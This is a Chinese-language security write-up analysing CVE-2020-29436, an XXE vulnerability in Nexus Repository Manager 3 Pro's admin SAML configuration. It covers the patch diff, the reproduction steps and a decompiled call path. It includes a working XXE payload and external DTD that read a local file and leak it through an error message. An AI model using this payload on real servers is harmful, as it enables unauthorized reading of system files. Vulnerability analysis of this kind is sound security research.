Nexus Repository Manager3 Pro XXE 分析(CVE-2020-29436)

作者：r00t4dm@Cloud-Penetrating Arrow Lab & Longofo@知道創宇404實驗室
時間：2020年12月16日

最近Nexus Repository Manager3安全公告更新了一個XXE漏洞，雖然需要管理權限才能利用，並且Nexus Repository Manager3在較高的版本中也會強制更改以前較低版本使用的默認密碼admin/admin123，最後漏洞觸發也很簡單，但是過程還是挺有意思，並且不會受到jdk高版本導致不能帶換行的問題，列目錄、讀文件可以帶出任意字符，除了二進制文件外，沒有找到能編碼的協議。

補丁

diff下最高漏洞版本3.28.1-01和修復版本3.29.0-02：

可以看到在一個SafeXml#configureValidator中做了限制加載外部dtd的操作，可以注意到這個configureValidator是新增的方法而不是在原方法中修復，但是隻是個工具類。

漏洞復現

來到後臺Saml的功能點：

看到這個大大的XML輸入框就知道大概率是有XML操作的。

簡單測試下能不能進行dtd請求，如果能的話很可能讀取文件也可以：

點擊保存就能看到進行了請求。測試了下讀文件，可以利用ftp、http等協議帶出單行文件，看了下jdk版本在windows是使用的自帶的8u252，@r00t4dm在mac上的安裝包不會自帶jdk，使用的是系統的，那麼linux下也是系統的，所以試用的是較低版本的jdk，是可以帶換行的。後面看了下返回包，居然把異常返回到了json，那麼我們可以通過報錯xml將任何文本字符帶出了，包括\n、#、<等文本字符。

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>

dtd：
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM '%file;'>"
>
%all;

看下效果：

其他帶#、<等字符的文件也都可以。

漏洞分析

既然configureValidator是新增的方法，而且是一個static方法，那麼在最新版本中大概率就有其他類調用這個方法了來修復了。在github開源的3.29.0-02代碼中搜索configureValidator，沒有搜到任何結果，這個地方就很奇怪了，難道是動態隱式調用？但是前面configureValidator是一個新增的方法並且是一個靜態方法，感覺不太可能動態隱式調用。因爲之前也弄過Nexus的漏洞，他的安裝包lib中有許多代碼沒有在github那個開源的倉庫中，所以就反編譯了3.29.0-02版本所有的lib包，一搜索configureValidator，果然有調用而且就此一處：

接着又往上搜SamlMetadataTool的調用，都是帶有Saml字眼的相關類在調用。所以猜想會有個Saml的功能，去官方文檔搜索下：

看到這個描述是不是有點激動呢？猜測就是這個位置了。按照描述去後臺配置點，發現並不能使用這個SAML功能，再看文檔說的式要Pro版本才能用這個功能，可以去官網申請試用。

從上面的發包可以看到處理url爲/service/rest/internal/ui/saml，在github開源部分的代碼中依然是搜不到的，在反編譯的代碼中搜索/ui/saml可以找到處理類:

下面是調用棧：

前面調用棧太長就不copy出來了。

---

本文由 Seebug Paper 發佈，如需轉載請註明來源。本文地址：https://paper.seebug.org/1431/